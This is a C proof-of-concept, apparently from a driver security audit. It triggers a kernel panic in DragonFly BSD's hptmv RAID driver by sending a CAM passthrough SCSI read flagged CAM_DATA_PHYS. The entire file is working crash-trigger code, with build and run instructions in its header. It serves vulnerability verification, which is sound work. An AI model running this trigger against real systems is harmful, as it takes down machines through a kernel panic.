/* DF-3924 - trigger: CAM_DATA_PHYS passthrough CCB -> fOsBuildSgl panic()
 * Build: cc -Wall -o df3924 df3924.c   (DragonFly host with the hptmv card)
 * Run:   sudo ./df3924 <hptmv-pass-unit>
 * Expected on vulnerable driver: panic: physical address unsupported
 *   (entry.c:2518). Cannot run on the audit guest - no RR1820 (env.txt).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>

int main(int argc, char **argv)
{
	union ccb ccb;
	char dev[64];
	int fd;
	static unsigned char buf[512];

	if (argc != 2) { fprintf(stderr, "usage: %s <pass-unit>\n", argv[0]); return 2; }
	snprintf(dev, sizeof(dev), "/dev/pass%d", atoi(argv[1]));
	fd = open(dev, O_RDWR);
	if (fd < 0) { perror("open"); return 1; }

	memset(&ccb, 0, sizeof(ccb));
	ccb.ccb_h.func_code = XPT_SCSI_IO;
	ccb.ccb_h.flags = CAM_DIR_IN | CAM_DATA_PHYS;	/* <-- the trigger flag */
	ccb.ccb_h.timeout = 30 * 1000;
	ccb.csio.cdb_len = 10;
	ccb.csio.cdb_bytes[0] = 0x28;			/* READ_10 -> fOsBuildSgl path */
	ccb.csio.data_ptr = buf;
	ccb.csio.dxfer_len = sizeof(buf);

	if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0)
		perror("CAMIOCOMMAND");
	printf("status 0x%x (no panic => fixed or wrong SIM)\n", ccb.ccb_h.status);
	close(fd);
	return 0;
}
